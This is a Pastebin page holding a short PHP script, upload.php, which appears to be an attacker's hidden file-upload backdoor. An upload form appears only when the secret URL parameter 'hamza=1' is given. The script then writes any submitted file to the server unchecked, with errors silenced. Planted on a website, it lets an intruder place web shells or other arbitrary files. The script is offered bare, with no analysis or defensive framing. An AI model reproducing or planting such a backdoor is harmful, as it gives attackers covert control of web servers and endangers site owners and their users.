Advertisement
PalmaSolutions

upload.php

Jul 4th, 2018
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.51 KB | None | 0 0
  1. <? $sa=$_GET['hamza'];if($sa == 1){if(isset($_POST['Submit'])){$filedir = "";$maxfile = '2000000';$userfile_name = $_FILES['image']['name'];$userfile_tmp = $_FILES['image']['tmp_name'];if (isset($_FILES['image']['name'])) {$abod = $filedir.$userfile_name;@move_uploaded_file($userfile_tmp, $abod);echo"<center><b>Done ==> $userfile_name</b></center>";}}else{echo'<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';}}?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement